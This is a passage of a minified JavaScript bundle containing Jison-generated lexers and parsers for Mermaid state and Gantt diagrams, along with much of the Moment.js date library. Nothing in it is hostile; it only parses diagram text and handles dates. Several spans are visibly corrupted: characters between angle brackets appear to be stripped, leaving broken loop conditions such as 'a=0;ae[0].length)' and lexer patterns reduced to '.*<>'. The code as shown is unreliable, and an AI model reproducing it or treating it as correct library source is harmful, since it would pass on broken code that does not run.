r=this.match.split(/(?:\r\n?|\n)/g);this.match=this.match.substr(0,this.match.length-1),this.matched=this.matched.substr(0,this.matched.length-1),n.length-1&&(this.yylineno-=n.length-1);var i=this.yylloc.range;return this.yylloc={first_line:this.yylloc.first_line,last_line:this.yylineno+1,first_column:this.yylloc.first_column,last_column:n?(n.length===r.length?this.yylloc.first_column:0)+r[r.length-n.length].length-n[0].length:this.yylloc.first_column-e},this.options.ranges&&(this.yylloc.range=[i[0],i[0]+this.yyleng-e]),this.yyleng=this.yytext.length,this},more:function(){return this._more=!0,this},reject:function(){return this.options.backtrack_lexer?(this._backtrack=!0,this):this.parseError("Lexical error on line "+(this.yylineno+1)+". You can only invoke reject() in the lexer when the lexer is of the backtracking persuasion (options.backtrack_lexer = true).\n"+this.showPosition(),{text:"",token:null,line:this.yylineno})},less:function(t){this.unput(this.match.slice(t))},pastInput:function(){var t=this.matched.substr(0,this.matched.length-this.match.length);return(t.length>20?"...":"")+t.substr(-20).replace(/\n/g,"")},upcomingInput:function(){var t=this.match;return t.length<20&&(t+=this._input.substr(0,20-t.length)),(t.substr(0,20)+(t.length>20?"...":"")).replace(/\n/g,"")},showPosition:function(){var t=this.pastInput(),e=new Array(t.length+1).join("-");return t+this.upcomingInput()+"\n"+e+"^"},test_match:function(t,e){var n,r,i;if(this.options.backtrack_lexer&&(i={yylineno:this.yylineno,yylloc:{first_line:this.yylloc.first_line,last_line:this.last_line,first_column:this.yylloc.first_column,last_column:this.yylloc.last_column},yytext:this.yytext,match:this.match,matches:this.matches,matched:this.matched,yyleng:this.yyleng,offset:this.offset,_more:this._more,_input:this._input,yy:this.yy,conditionStack:this.conditionStack.slice(0),done:this.done},this.options.ranges&&(i.yylloc.range=this.yylloc.range.slice(0))),(r=t[0].match(/(?:\r\n?|\n).*/g))&&(this.yylineno+=r.length),this.yylloc={first_line:this.yylloc.last_line,last_line:this.yylineno+1,first_column:this.yylloc.last_column,last_column:r?r[r.length-1].length-r[r.length-1].match(/\r?\n?/)[0].length:this.yylloc.last_column+t[0].length},this.yytext+=t[0],this.match+=t[0],this.matches=t,this.yyleng=this.yytext.length,this.options.ranges&&(this.yylloc.range=[this.offset,this.offset+=this.yyleng]),this._more=!1,this._backtrack=!1,this._input=this._input.slice(t[0].length),this.matched+=t[0],n=this.performAction.call(this,this.yy,this,e,this.conditionStack[this.conditionStack.length-1]),this.done&&this._input&&(this.done=!1),n)return n;if(this._backtrack){for(var a in i)this[a]=i[a];return!1}return!1},next:function(){if(this.done)return this.EOF;var t,e,n,r;this._input||(this.done=!0),this._more||(this.yytext="",this.match="");for(var i=this._currentRules(),a=0;ae[0].length)){if(e=n,r=a,this.options.backtrack_lexer){if(!1!==(t=this.test_match(n,i[a])))return t;if(this._backtrack){e=!1;continue}return!1}if(!this.options.flex)break}return e?!1!==(t=this.test_match(e,i[r]))&&t:""===this._input?this.EOF:this.parseError("Lexical error on line "+(this.yylineno+1)+". Unrecognized text.\n"+this.showPosition(),{text:"",token:null,line:this.yylineno})},lex:function(){var t=this.next();return t||this.lex()},begin:function(t){this.conditionStack.push(t)},popState:function(){return this.conditionStack.length-1>0?this.conditionStack.pop():this.conditionStack[0]},_currentRules:function(){return this.conditionStack.length&&this.conditionStack[this.conditionStack.length-1]?this.conditions[this.conditionStack[this.conditionStack.length-1]].rules:this.conditions.INITIAL.rules},topState:function(t){return(t=this.conditionStack.length-1-Math.abs(t||0))>=0?this.conditionStack[t]:"INITIAL"},pushState:function(t){this.begin(t)},stateStackSize:function(){return this.conditionStack.length},options:{"case-insensitive":!0},performAction:function(t,e,n,r){switch(n){case 0:return 36;case 1:return 37;case 2:return 38;case 3:return 39;case 4:return this.begin("open_directive"),45;case 5:return this.begin("type_directive"),46;case 6:return this.popState(),this.begin("arg_directive"),34;case 7:return this.popState(),this.popState(),48;case 8:return 47;case 9:case 10:break;case 11:return 5;case 12:case 13:case 14:case 15:break;case 16:return this.pushState("SCALE"),15;case 17:return 16;case 18:this.popState();break;case 19:this.pushState("STATE");break;case 20:return this.popState(),e.yytext=e.yytext.slice(0,-8).trim(),23;case 21:return this.popState(),e.yytext=e.yytext.slice(0,-8).trim(),24;case 22:return this.popState(),e.yytext=e.yytext.slice(0,-10).trim(),25;case 23:return this.popState(),e.yytext=e.yytext.slice(0,-8).trim(),23;case 24:return this.popState(),e.yytext=e.yytext.slice(0,-8).trim(),24;case 25:return this.popState(),e.yytext=e.yytext.slice(0,-10).trim(),25;case 26:return 36;case 27:return 37;case 28:return 38;case 29:return 39;case 30:this.begin("STATE_STRING");break;case 31:return this.popState(),this.pushState("STATE_ID"),"AS";case 32:return this.popState(),"ID";case 33:this.popState();break;case 34:return"STATE_DESCR";case 35:return 17;case 36:this.popState();break;case 37:return this.popState(),this.pushState("struct"),18;case 38:return this.popState(),19;case 39:break;case 40:return this.begin("NOTE"),27;case 41:return this.popState(),this.pushState("NOTE_ID"),43;case 42:return this.popState(),this.pushState("NOTE_ID"),44;case 43:this.popState(),this.pushState("FLOATING_NOTE");break;case 44:return this.popState(),this.pushState("FLOATING_NOTE_ID"),"AS";case 45:break;case 46:return"NOTE_TEXT";case 47:return this.popState(),"ID";case 48:return this.popState(),this.pushState("NOTE_TEXT"),22;case 49:return this.popState(),e.yytext=e.yytext.substr(2).trim(),29;case 50:return this.popState(),e.yytext=e.yytext.slice(0,-8).trim(),29;case 51:case 52:return 7;case 53:return 14;case 54:return 42;case 55:return 22;case 56:return e.yytext=e.yytext.trim(),12;case 57:return 13;case 58:return 26;case 59:return 5;case 60:return"INVALID"}},rules:[/^(?:.*direction\s+TB[^\n]*)/i,/^(?:.*direction\s+BT[^\n]*)/i,/^(?:.*direction\s+RL[^\n]*)/i,/^(?:.*direction\s+LR[^\n]*)/i,/^(?:%%\{)/i,/^(?:((?:(?!\}%%)[^:.])*))/i,/^(?::)/i,/^(?:\}%%)/i,/^(?:((?:(?!\}%%).|\n)*))/i,/^(?:%%(?!\{)[^\n]*)/i,/^(?:[^\}]%%[^\n]*)/i,/^(?:[\n]+)/i,/^(?:[\s]+)/i,/^(?:((?!\n)\s)+)/i,/^(?:#[^\n]*)/i,/^(?:%[^\n]*)/i,/^(?:scale\s+)/i,/^(?:\d+)/i,/^(?:\s+width\b)/i,/^(?:state\s+)/i,/^(?:.*<>)/i,/^(?:.*<>)/i,/^(?:.*<>)/i,/^(?:.*\[\[fork\]\])/i,/^(?:.*\[\[join\]\])/i,/^(?:.*\[\[choice\]\])/i,/^(?:.*direction\s+TB[^\n]*)/i,/^(?:.*direction\s+BT[^\n]*)/i,/^(?:.*direction\s+RL[^\n]*)/i,/^(?:.*direction\s+LR[^\n]*)/i,/^(?:["])/i,/^(?:\s*as\s+)/i,/^(?:[^\n\{]*)/i,/^(?:["])/i,/^(?:[^"]*)/i,/^(?:[^\n\s\{]+)/i,/^(?:\n)/i,/^(?:\{)/i,/^(?:\})/i,/^(?:[\n])/i,/^(?:note\s+)/i,/^(?:left of\b)/i,/^(?:right of\b)/i,/^(?:")/i,/^(?:\s*as\s*)/i,/^(?:["])/i,/^(?:[^"]*)/i,/^(?:[^\n]*)/i,/^(?:\s*[^:\n\s\-]+)/i,/^(?:\s*:[^:\n;]+)/i,/^(?:[\s\S]*?end note\b)/i,/^(?:stateDiagram\s+)/i,/^(?:stateDiagram-v2\s+)/i,/^(?:hide empty description\b)/i,/^(?:\[\*\])/i,/^(?:[^:\n\s\-\{]+)/i,/^(?:\s*:[^:\n;]+)/i,/^(?:-->)/i,/^(?:--)/i,/^(?:$)/i,/^(?:.)/i],conditions:{LINE:{rules:[13,14],inclusive:!1},close_directive:{rules:[13,14],inclusive:!1},arg_directive:{rules:[7,8,13,14],inclusive:!1},type_directive:{rules:[6,7,13,14],inclusive:!1},open_directive:{rules:[5,13,14],inclusive:!1},struct:{rules:[13,14,19,26,27,28,29,38,39,40,54,55,56,57,58],inclusive:!1},FLOATING_NOTE_ID:{rules:[47],inclusive:!1},FLOATING_NOTE:{rules:[44,45,46],inclusive:!1},NOTE_TEXT:{rules:[49,50],inclusive:!1},NOTE_ID:{rules:[48],inclusive:!1},NOTE:{rules:[41,42,43],inclusive:!1},SCALE:{rules:[17,18],inclusive:!1},ALIAS:{rules:[],inclusive:!1},STATE_ID:{rules:[32],inclusive:!1},STATE_STRING:{rules:[33,34],inclusive:!1},FORK_STATE:{rules:[],inclusive:!1},STATE:{rules:[13,14,20,21,22,23,24,25,30,31,35,36,37],inclusive:!1},ID:{rules:[13,14],inclusive:!1},INITIAL:{rules:[0,1,2,3,4,9,10,11,12,14,15,16,19,37,40,51,52,53,54,55,56,57,59,60],inclusive:!0}}};function O(){this.yy={}}return A.lexer=M,O.prototype=A,A.Parser=O,new O}();e.parser=i,e.Parser=i.Parser,e.parse=function(){return i.parse.apply(i,arguments)},e.main=function(r){r[1]||(console.log("Usage: "+r[0]+" FILE"),t.exit(1));var i=n(17).readFileSync(n(18).normalize(r[1]),"utf8");return e.parser.parse(i)},n.c[n.s]===r&&e.main(t.argv.slice(1))}).call(this,n(12),n(7)(t))},function(t,e,n){(function(t){t.exports=function(){"use strict";var e,r;function i(){return e.apply(null,arguments)}function a(t){return t instanceof Array||"[object Array]"===Object.prototype.toString.call(t)}function o(t){return null!=t&&"[object Object]"===Object.prototype.toString.call(t)}function s(t){return void 0===t}function c(t){return"number"==typeof t||"[object Number]"===Object.prototype.toString.call(t)}function u(t){return t instanceof Date||"[object Date]"===Object.prototype.toString.call(t)}function l(t,e){var n,r=[];for(n=0;n>>0,r=0;rgt(t)?(a=t+1,s-gt(t)):(a=t,s),{year:a,dayOfYear:o}}function It(t,e,n){var r,i,a=Dt(t.year(),e,n),o=Math.floor((t.dayOfYear()-a-1)/7)+1;return o<1?r=o+Rt(i=t.year()-1,e,n):o>Rt(t.year(),e,n)?(r=o-Rt(t.year(),e,n),i=t.year()+1):(i=t.year(),r=o),{week:r,year:i}}function Rt(t,e,n){var r=Dt(t,e,n),i=Dt(t+1,e,n);return(gt(t)-r+i)/7}function Ft(t,e){return t.slice(e,7).concat(t.slice(0,e))}q("w",["ww",2],"wo","week"),q("W",["WW",2],"Wo","isoWeek"),L("week","w"),L("isoWeek","W"),P("week",5),P("isoWeek",5),lt("w",Q),lt("ww",Q,G),lt("W",Q),lt("WW",Q,G),yt(["w","ww","W","WW"],(function(t,e,n,r){e[r.substr(0,1)]=w(t)})),q("d",0,"do","day"),q("dd",0,0,(function(t){return this.localeData().weekdaysMin(this,t)})),q("ddd",0,0,(function(t){return this.localeData().weekdaysShort(this,t)})),q("dddd",0,0,(function(t){return this.localeData().weekdays(this,t)})),q("e",0,0,"weekday"),q("E",0,0,"isoWeekday"),L("day","d"),L("weekday","e"),L("isoWeekday","E"),P("day",11),P("weekday",11),P("isoWeekday",11),lt("d",Q),lt("e",Q),lt("E",Q),lt("dd",(function(t,e){return e.weekdaysMinRegex(t)})),lt("ddd",(function(t,e){return e.weekdaysShortRegex(t)})),lt("dddd",(function(t,e){return e.weekdaysRegex(t)})),yt(["dd","ddd","dddd"],(function(t,e,n,r){var i=n._locale.weekdaysParse(t,r,n._strict);null!=i?e.d=i:p(n).invalidWeekday=t})),yt(["d","e","E"],(function(t,e,n,r){e[r]=w(t)}));var Pt="Sunday_Monday_Tuesday_Wednesday_Thursday_Friday_Saturday".split("_"),jt="Sun_Mon_Tue_Wed_Thu_Fri_Sat".split("_"),Yt="Su_Mo_Tu_We_Th_Fr_Sa".split("_"),zt=ct,Ut=ct,$t=ct;function qt(){function t(t,e){return e.length-t.length}var e,n,r,i,a,o=[],s=[],c=[],u=[];for(e=0;e<7;e++)n=d([2e3,1]).day(e),r=this.weekdaysMin(n,""),i=this.weekdaysShort(n,""),a=this.weekdays(n,""),o.push(r),s.push(i),c.push(a),u.push(r),u.push(i),u.push(a);for(o.sort(t),s.sort(t),c.sort(t),u.sort(t),e=0;e<7;e++)s[e]=ft(s[e]),c[e]=ft(c[e]),u[e]=ft(u[e]);this._weekdaysRegex=new RegExp("^("+u.join("|")+")","i"),this._weekdaysShortRegex=this._weekdaysRegex,this._weekdaysMinRegex=this._weekdaysRegex,this._weekdaysStrictRegex=new RegExp("^("+c.join("|")+")","i"),this._weekdaysShortStrictRegex=new RegExp("^("+s.join("|")+")","i"),this._weekdaysMinStrictRegex=new RegExp("^("+o.join("|")+")","i")}function Wt(){return this.hours()%12||12}function Ht(t,e){q(t,0,0,(function(){return this.localeData().meridiem(this.hours(),this.minutes(),e)}))}function Vt(t,e){return e._meridiemParse}q("H",["HH",2],0,"hour"),q("h",["hh",2],0,Wt),q("k",["kk",2],0,(function(){return this.hours()||24})),q("hmm",0,0,(function(){return""+Wt.apply(this)+j(this.minutes(),2)})),q("hmmss",0,0,(function(){return""+Wt.apply(this)+j(this.minutes(),2)+j(this.seconds(),2)})),q("Hmm",0,0,(function(){return""+this.hours()+j(this.minutes(),2)})),q("Hmmss",0,0,(function(){return""+this.hours()+j(this.minutes(),2)+j(this.seconds(),2)})),Ht("a",!0),Ht("A",!1),L("hour","h"),P("hour",13),lt("a",Vt),lt("A",Vt),lt("H",Q),lt("h",Q),lt("k",Q),lt("HH",Q,G),lt("hh",Q,G),lt("kk",Q,G),lt("hmm",J),lt("hmmss",tt),lt("Hmm",J),lt("Hmmss",tt),pt(["H","HH"],3),pt(["k","kk"],(function(t,e,n){var r=w(t);e[3]=24===r?0:r})),pt(["a","A"],(function(t,e,n){n._isPm=n._locale.isPM(t),n._meridiem=t})),pt(["h","hh"],(function(t,e,n){e[3]=w(t),p(n).bigHour=!0})),pt("hmm",(function(t,e,n){var r=t.length-2;e[3]=w(t.substr(0,r)),e[4]=w(t.substr(r)),p(n).bigHour=!0})),pt("hmmss",(function(t,e,n){var r=t.length-4,i=t.length-2;e[3]=w(t.substr(0,r)),e[4]=w(t.substr(r,2)),e[5]=w(t.substr(i)),p(n).bigHour=!0})),pt("Hmm",(function(t,e,n){var r=t.length-2;e[3]=w(t.substr(0,r)),e[4]=w(t.substr(r))})),pt("Hmmss",(function(t,e,n){var r=t.length-4,i=t.length-2;e[3]=w(t.substr(0,r)),e[4]=w(t.substr(r,2)),e[5]=w(t.substr(i))}));var Gt,Xt=xt("Hours",!0),Zt={calendar:{sameDay:"[Today at] LT",nextDay:"[Tomorrow at] LT",nextWeek:"dddd [at] LT",lastDay:"[Yesterday at] LT",lastWeek:"[Last] dddd [at] LT",sameElse:"L"},longDateFormat:{LTS:"h:mm:ss A",LT:"h:mm A",L:"MM/DD/YYYY",LL:"MMMM D, YYYY",LLL:"MMMM D, YYYY h:mm A",LLLL:"dddd, MMMM D, YYYY h:mm A"},invalidDate:"Invalid date",ordinal:"%d",dayOfMonthOrdinalParse:/\d{1,2}/,relativeTime:{future:"in %s",past:"%s ago",s:"a few seconds",ss:"%d seconds",m:"a minute",mm:"%d minutes",h:"an hour",hh:"%d hours",d:"a day",dd:"%d days",M:"a month",MM:"%d months",y:"a year",yy:"%d years"},months:Et,monthsShort:Ct,week:{dow:0,doy:6},weekdays:Pt,weekdaysMin:Yt,weekdaysShort:jt,meridiemParse:/[ap]\.?m?\.?/i},Kt={},Qt={};function Jt(t){return t?t.toLowerCase().replace("_","-"):t}function te(e){var r=null;if(!Kt[e]&&void 0!==t&&t&&t.exports)try{r=Gt._abbr,n(202)("./"+e),ee(r)}catch(e){}return Kt[e]}function ee(t,e){var n;return t&&((n=s(e)?re(t):ne(t,e))?Gt=n:"undefined"!=typeof console&&console.warn&&console.warn("Locale "+t+" not found. Did you forget to load it?")),Gt._abbr}function ne(t,e){if(null===e)return delete Kt[t],null;var n,r=Zt;if(e.abbr=t,null!=Kt[t])M("defineLocaleOverride","use moment.updateLocale(localeName, config) to change an existing locale. moment.defineLocale(localeName, config) should only be used for creating a new locale See http://momentjs.com/guides/#/warnings/define-locale/ for more info."),r=Kt[t]._config;else if(null!=e.parentLocale)if(null!=Kt[e.parentLocale])r=Kt[e.parentLocale]._config;else{if(null==(n=te(e.parentLocale)))return Qt[e.parentLocale]||(Qt[e.parentLocale]=[]),Qt[e.parentLocale].push({name:t,config:e}),null;r=n._config}return Kt[t]=new B(N(r,e)),Qt[t]&&Qt[t].forEach((function(t){ne(t.name,t.config)})),ee(t),Kt[t]}function re(t){var e;if(t&&t._locale&&t._locale._abbr&&(t=t._locale._abbr),!t)return Gt;if(!a(t)){if(e=te(t))return e;t=[t]}return function(t){for(var e,n,r,i,a=0;a=e&&T(i,n,!0)>=e-1)break;e--}a++}return Gt}(t)}function ie(t){var e,n=t._a;return n&&-2===p(t).overflow&&(e=n[1]<0||11wt(n[0],n[1])?2:n[3]<0||24Rt(n,a,o)?p(t)._overflowWeeks=!0:null!=c?p(t)._overflowWeekday=!0:(s=Lt(n,r,i,a,o),t._a[0]=s.year,t._dayOfYear=s.dayOfYear)}(t),null!=t._dayOfYear&&(o=ae(t._a[0],r[0]),(t._dayOfYear>gt(o)||0===t._dayOfYear)&&(p(t)._overflowDayOfYear=!0),n=Bt(o,0,t._dayOfYear),t._a[1]=n.getUTCMonth(),t._a[2]=n.getUTCDate()),e=0;e<3&&null==t._a[e];++e)t._a[e]=s[e]=r[e];for(;e<7;e++)t._a[e]=s[e]=null==t._a[e]?2===e?1:0:t._a[e];24===t._a[3]&&0===t._a[4]&&0===t._a[5]&&0===t._a[6]&&(t._nextDay=!0,t._a[3]=0),t._d=(t._useUTC?Bt:function(t,e,n,r,i,a,o){var s;return t<100&&0<=t?(s=new Date(t+400,e,n,r,i,a,o),isFinite(s.getFullYear())&&s.setFullYear(t)):s=new Date(t,e,n,r,i,a,o),s}).apply(null,s),a=t._useUTC?t._d.getUTCDay():t._d.getDay(),null!=t._tzm&&t._d.setUTCMinutes(t._d.getUTCMinutes()-t._tzm),t._nextDay&&(t._a[3]=24),t._w&&void 0!==t._w.d&&t._w.d!==a&&(p(t).weekdayMismatch=!0)}}var se=/^\s*((?:[+-]\d{6}|\d{4})-(?:\d\d-\d\d|W\d\d-\d|W\d\d|\d\d\d|\d\d))(?:(T| )(\d\d(?::\d\d(?::\d\d(?:[.,]\d+)?)?)?)([\+\-]\d\d(?::?\d\d)?|\s*Z)?)?$/,ce=/^\s*((?:[+-]\d{6}|\d{4})(?:\d\d\d\d|W\d\d\d|W\d\d|\d\d\d|\d\d))(?:(T| )(\d\d(?:\d\d(?:\d\d(?:[.,]\d+)?)?)?)([\+\-]\d\d(?::?\d\d)?|\s*Z)?)?$/,ue=/Z|[+-]\d\d(?::?\d\d)?/,le=[["YYYYYY-MM-DD",/[+-]\d{6}-\d\d-\d\d/],["YYYY-MM-DD",/\d{4}-\d\d-\d\d/],["GGGG-[W]WW-E",/\d{4}-W\d\d-\d/],["GGGG-[W]WW",/\d{4}-W\d\d/,!1],["YYYY-DDD",/\d{4}-\d{3}/],["YYYY-MM",/\d{4}-\d\d/,!1],["YYYYYYMMDD",/[+-]\d{10}/],["YYYYMMDD",/\d{8}/],["GGGG[W]WWE",/\d{4}W\d{3}/],["GGGG[W]WW",/\d{4}W\d{2}/,!1],["YYYYDDD",/\d{7}/]],he=[["HH:mm:ss.SSSS",/\d\d:\d\d:\d\d\.\d+/],["HH:mm:ss,SSSS",/\d\d:\d\d:\d\d,\d+/],["HH:mm:ss",/\d\d:\d\d:\d\d/],["HH:mm",/\d\d:\d\d/],["HHmmss.SSSS",/\d\d\d\d\d\d\.\d+/],["HHmmss,SSSS",/\d\d\d\d\d\d,\d+/],["HHmmss",/\d\d\d\d\d\d/],["HHmm",/\d\d\d\d/],["HH",/\d\d/]],fe=/^\/?Date\((\-?\d+)/i;function de(t){var e,n,r,i,a,o,s=t._i,c=se.exec(s)||ce.exec(s);if(c){for(p(t).iso=!0,e=0,n=le.length;en.valueOf():n.valueOf()this.clone().month(0).utcOffset()||this.utcOffset()>this.clone().month(5).utcOffset()},on.isLocal=function(){return!!this.isValid()&&!this._isUTC},on.isUtcOffset=function(){return!!this.isValid()&&this._isUTC},on.isUtc=De,on.isUTC=De,on.zoneAbbr=function(){return this._isUTC?"UTC":""},on.zoneName=function(){return this._isUTC?"Coordinated Universal Time":""},on.dates=C("dates accessor is deprecated. Use date instead.",Je),on.months=C("months accessor is deprecated. Use month instead",At),on.years=C("years accessor is deprecated. Use year instead",bt),on.zone=C("moment().zone is deprecated, use moment().utcOffset instead. http://momentjs.com/guides/#/warnings/zone/",(function(t,e){return null!=t?("string"!=typeof t&&(t=-t),this.utcOffset(t,e),this):-this.utcOffset()})),on.isDSTShifted=C("isDSTShifted is deprecated. See http://momentjs.com/guides/#/warnings/dst-shifted/ for more information",(function(){if(!s(this._isDSTShifted))return this._isDSTShifted;var t={};if(v(t,this),(t=ve(t))._a){var e=t._isUTC?d(t._a):xe(t._a);this._isDSTShifted=this.isValid()&&0h&&A.push("'"+this.terminals_[E]+"'");O=p.showPosition?"Parse error on line "+(c+1)+":\n"+p.showPosition()+"\nExpecting "+A.join(", ")+", got '"+(this.terminals_[x]||x)+"'":"Parse error on line "+(c+1)+": Unexpected "+(x==f?"end of input":"'"+(this.terminals_[x]||x)+"'"),this.parseError(O,{text:p.match,token:this.terminals_[x]||x,line:p.yylineno,loc:m,expected:A})}if(w[0]instanceof Array&&w.length>1)throw new Error("Parse Error: multiple actions possible at state: "+k+", token: "+x);switch(w[0]){case 1:n.push(x),i.push(p.yytext),a.push(p.yylloc),n.push(w[1]),x=null,_?(x=_,_=null):(u=p.yyleng,s=p.yytext,c=p.yylineno,m=p.yylloc,l>0&&l--);break;case 2:if(C=this.productions_[w[1]][1],M.$=i[i.length-C],M._$={first_line:a[a.length-(C||1)].first_line,last_line:a[a.length-1].last_line,first_column:a[a.length-(C||1)].first_column,last_column:a[a.length-1].last_column},v&&(M._$.range=[a[a.length-(C||1)].range[0],a[a.length-1].range[1]]),void 0!==(T=this.performAction.apply(M,[s,u,c,y.yy,w[1],i,a].concat(d))))return T;C&&(n=n.slice(0,-1*C*2),i=i.slice(0,-1*C),a=a.slice(0,-1*C)),n.push(this.productions_[w[1]][0]),i.push(M.$),a.push(M._$),S=o[n[n.length-2]][n[n.length-1]],n.push(S);break;case 3:return!0}}return!0}},m={EOF:1,parseError:function(t,e){if(!this.yy.parser)throw new Error(t);this.yy.parser.parseError(t,e)},setInput:function(t,e){return this.yy=e||this.yy||{},this._input=t,this._more=this._backtrack=this.done=!1,this.yylineno=this.yyleng=0,this.yytext=this.matched=this.match="",this.conditionStack=["INITIAL"],this.yylloc={first_line:1,first_column:0,last_line:1,last_column:0},this.options.ranges&&(this.yylloc.range=[0,0]),this.offset=0,this},input:function(){var t=this._input[0];return this.yytext+=t,this.yyleng++,this.offset++,this.match+=t,this.matched+=t,t.match(/(?:\r\n?|\n).*/g)?(this.yylineno++,this.yylloc.last_line++):this.yylloc.last_column++,this.options.ranges&&this.yylloc.range[1]++,this._input=this._input.slice(1),t},unput:function(t){var e=t.length,n=t.split(/(?:\r\n?|\n)/g);this._input=t+this._input,this.yytext=this.yytext.substr(0,this.yytext.length-e),this.offset-=e;var r=this.match.split(/(?:\r\n?|\n)/g);this.match=this.match.substr(0,this.match.length-1),this.matched=this.matched.substr(0,this.matched.length-1),n.length-1&&(this.yylineno-=n.length-1);var i=this.yylloc.range;return this.yylloc={first_line:this.yylloc.first_line,last_line:this.yylineno+1,first_column:this.yylloc.first_column,last_column:n?(n.length===r.length?this.yylloc.first_column:0)+r[r.length-n.length].length-n[0].length:this.yylloc.first_column-e},this.options.ranges&&(this.yylloc.range=[i[0],i[0]+this.yyleng-e]),this.yyleng=this.yytext.length,this},more:function(){return this._more=!0,this},reject:function(){return this.options.backtrack_lexer?(this._backtrack=!0,this):this.parseError("Lexical error on line "+(this.yylineno+1)+". You can only invoke reject() in the lexer when the lexer is of the backtracking persuasion (options.backtrack_lexer = true).\n"+this.showPosition(),{text:"",token:null,line:this.yylineno})},less:function(t){this.unput(this.match.slice(t))},pastInput:function(){var t=this.matched.substr(0,this.matched.length-this.match.length);return(t.length>20?"...":"")+t.substr(-20).replace(/\n/g,"")},upcomingInput:function(){var t=this.match;return t.length<20&&(t+=this._input.substr(0,20-t.length)),(t.substr(0,20)+(t.length>20?"...":"")).replace(/\n/g,"")},showPosition:function(){var t=this.pastInput(),e=new Array(t.length+1).join("-");return t+this.upcomingInput()+"\n"+e+"^"},test_match:function(t,e){var n,r,i;if(this.options.backtrack_lexer&&(i={yylineno:this.yylineno,yylloc:{first_line:this.yylloc.first_line,last_line:this.last_line,first_column:this.yylloc.first_column,last_column:this.yylloc.last_column},yytext:this.yytext,match:this.match,matches:this.matches,matched:this.matched,yyleng:this.yyleng,offset:this.offset,_more:this._more,_input:this._input,yy:this.yy,conditionStack:this.conditionStack.slice(0),done:this.done},this.options.ranges&&(i.yylloc.range=this.yylloc.range.slice(0))),(r=t[0].match(/(?:\r\n?|\n).*/g))&&(this.yylineno+=r.length),this.yylloc={first_line:this.yylloc.last_line,last_line:this.yylineno+1,first_column:this.yylloc.last_column,last_column:r?r[r.length-1].length-r[r.length-1].match(/\r?\n?/)[0].length:this.yylloc.last_column+t[0].length},this.yytext+=t[0],this.match+=t[0],this.matches=t,this.yyleng=this.yytext.length,this.options.ranges&&(this.yylloc.range=[this.offset,this.offset+=this.yyleng]),this._more=!1,this._backtrack=!1,this._input=this._input.slice(t[0].length),this.matched+=t[0],n=this.performAction.call(this,this.yy,this,e,this.conditionStack[this.conditionStack.length-1]),this.done&&this._input&&(this.done=!1),n)return n;if(this._backtrack){for(var a in i)this[a]=i[a];return!1}return!1},next:function(){if(this.done)return this.EOF;var t,e,n,r;this._input||(this.done=!0),this._more||(this.yytext="",this.match="");for(var i=this._currentRules(),a=0;ae[0].length)){if(e=n,r=a,this.options.backtrack_lexer){if(!1!==(t=this.test_match(n,i[a])))return t;if(this._backtrack){e=!1;continue}return!1}if(!this.options.flex)break}return e?!1!==(t=this.test_match(e,i[r]))&&t:""===this._input?this.EOF:this.parseError("Lexical error on line "+(this.yylineno+1)+". Unrecognized text.\n"+this.showPosition(),{text:"",token:null,line:this.yylineno})},lex:function(){var t=this.next();return t||this.lex()},begin:function(t){this.conditionStack.push(t)},popState:function(){return this.conditionStack.length-1>0?this.conditionStack.pop():this.conditionStack[0]},_currentRules:function(){return this.conditionStack.length&&this.conditionStack[this.conditionStack.length-1]?this.conditions[this.conditionStack[this.conditionStack.length-1]].rules:this.conditions.INITIAL.rules},topState:function(t){return(t=this.conditionStack.length-1-Math.abs(t||0))>=0?this.conditionStack[t]:"INITIAL"},pushState:function(t){this.begin(t)},stateStackSize:function(){return this.conditionStack.length},options:{"case-insensitive":!0},performAction:function(t,e,n,r){switch(n){case 0:return this.begin("open_directive"),33;case 1:return this.begin("type_directive"),34;case 2:return this.popState(),this.begin("arg_directive"),26;case 3:return this.popState(),this.popState(),36;case 4:return 35;case 5:case 6:case 7:break;case 8:return 11;case 9:case 10:case 11:break;case 12:this.begin("href");break;case 13:this.popState();break;case 14:return 31;case 15:this.begin("callbackname");break;case 16:this.popState();break;case 17:this.popState(),this.begin("callbackargs");break;case 18:return 29;case 19:this.popState();break;case 20:return 30;case 21:this.begin("click");break;case 22:this.popState();break;case 23:return 28;case 24:return 5;case 25:return 12;case 26:return 13;case 27:return 14;case 28:return 15;case 29:return 16;case 30:return 17;case 31:return"date";case 32:return 18;case 33:return 19;case 34:return 21;case 35:return 22;case 36:return 26;case 37:return 7;case 38:return"INVALID"}},rules:[/^(?:%%\{)/i,/^(?:((?:(?!\}%%)[^:.])*))/i,/^(?::)/i,/^(?:\}%%)/i,/^(?:((?:(?!\}%%).|\n)*))/i,/^(?:%%(?!\{)*[^\n]*)/i,/^(?:[^\}]%%*[^\n]*)/i,/^(?:%%*[^\n]*[\n]*)/i,/^(?:[\n]+)/i,/^(?:\s+)/i,/^(?:#[^\n]*)/i,/^(?:%[^\n]*)/i,/^(?:href[\s]+["])/i,/^(?:["])/i,/^(?:[^"]*)/i,/^(?:call[\s]+)/i,/^(?:\([\s]*\))/i,/^(?:\()/i,/^(?:[^(]*)/i,/^(?:\))/i,/^(?:[^)]*)/i,/^(?:click[\s]+)/i,/^(?:[\s\n])/i,/^(?:[^\s\n]*)/i,/^(?:gantt\b)/i,/^(?:dateFormat\s[^#\n;]+)/i,/^(?:inclusiveEndDates\b)/i,/^(?:topAxis\b)/i,/^(?:axisFormat\s[^#\n;]+)/i,/^(?:excludes\s[^#\n;]+)/i,/^(?:todayMarker\s[^\n;]+)/i,/^(?:\d\d\d\d-\d\d-\d\d\b)/i,/^(?:title\s[^#\n;]+)/i,/^(?:section\s[^#:\n;]+)/i,/^(?:[^#:\n;]+)/i,/^(?::[^#\n;]+)/i,/^(?::)/i,/^(?:$)/i,/^(?:.)/i],conditions:{close_directive:{rules:[],inclusive:!1},arg_directive:{rules:[3,4],inclusive:!1},type_directive:{rules:[2,3],inclusive:!1},open_directive:{rules:[1],inclusive:!1},callbackargs:{rules:[19,20],inclusive:!1},callbackname:{rules:[16,17,18],inclusive:!1},href:{rules:[13,14],inclusive:!1},click:{rules:[22,23],inclusive:!1},INITIAL:{rules:[0,5,6,7,8,9,10,11,12,15,21,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38],inclusive:!0}}};function v(){this.yy={}}return g.lexer=m,v.prototype=g,g.Parser=v,new v}();e.parser=i,e.Parser=i.Parser,e.parse=function(){return i.parse.apply(i,arguments)},e.main=function(r){r[1]||(console.log("Usage: "+r[0]+" FILE"),t.exit(1));var i=n(17).readFileSync(n(18).normalize(r[1]),"utf8");return e.parser.parse(i)},n.c[n.s]===r&&e.main(t.argv.slice(1))}).call(this,n(12),n(7)(t))},function(t,e,n){var r=n(39),i=n(82);t.exports=function(t){return 